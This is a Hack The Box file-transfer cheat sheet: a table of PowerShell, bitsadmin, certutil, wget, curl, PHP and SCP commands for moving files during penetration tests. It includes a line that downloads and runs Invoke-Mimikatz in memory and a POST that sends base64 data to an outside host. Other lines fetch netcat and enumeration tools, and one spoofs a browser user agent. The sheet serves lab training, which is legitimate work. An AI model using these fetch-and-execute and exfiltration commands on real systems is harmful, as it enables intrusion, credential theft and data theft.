# HTB file transfer cheatsheet

<table data-header-hidden data-full-width="true"><thead><tr><th width="624"></th><th></th></tr></thead><tbody><tr><td><strong>Command</strong></td><td><strong>Description</strong></td></tr><tr><td> <code>Invoke-WebRequest https://&#x3C;snip>/PowerView.ps1 -OutFile PowerView.ps1</code></td><td>Download a file with PowerShell</td></tr><tr><td><code>IEX (New-Object Net.WebClient).DownloadString('https://&#x3C;snip>/Invoke-Mimikatz.ps1')</code></td><td>Execute a file in memory using PowerShell</td></tr><tr><td><code>Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64</code></td><td>Upload a file with PowerShell</td></tr><tr><td><code>bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe</code></td><td>Download a file using Bitsadmin</td></tr><tr><td><code>certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe</code></td><td>Download a file using Certutil</td></tr><tr><td><code>wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh</code></td><td>Download a file using Wget</td></tr><tr><td><code>curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh</code></td><td>Download a file using cURL</td></tr><tr><td><code>php -r '$file = file_get_contents("https://&#x3C;snip>/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'</code></td><td>Download a file using PHP</td></tr><tr><td><code>scp C:\Temp\bloodhound.zip user@10.10.10.150:/tmp/bloodhound.zip</code></td><td>Upload a file using SCP</td></tr><tr><td><code>scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe</code></td><td>Download a file using SCP</td></tr><tr><td><code>Invoke-WebRequest http://nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "nc.exe"</code></td><td>Invoke-WebRequest using a Chrome User Agent</td></tr></tbody></table>
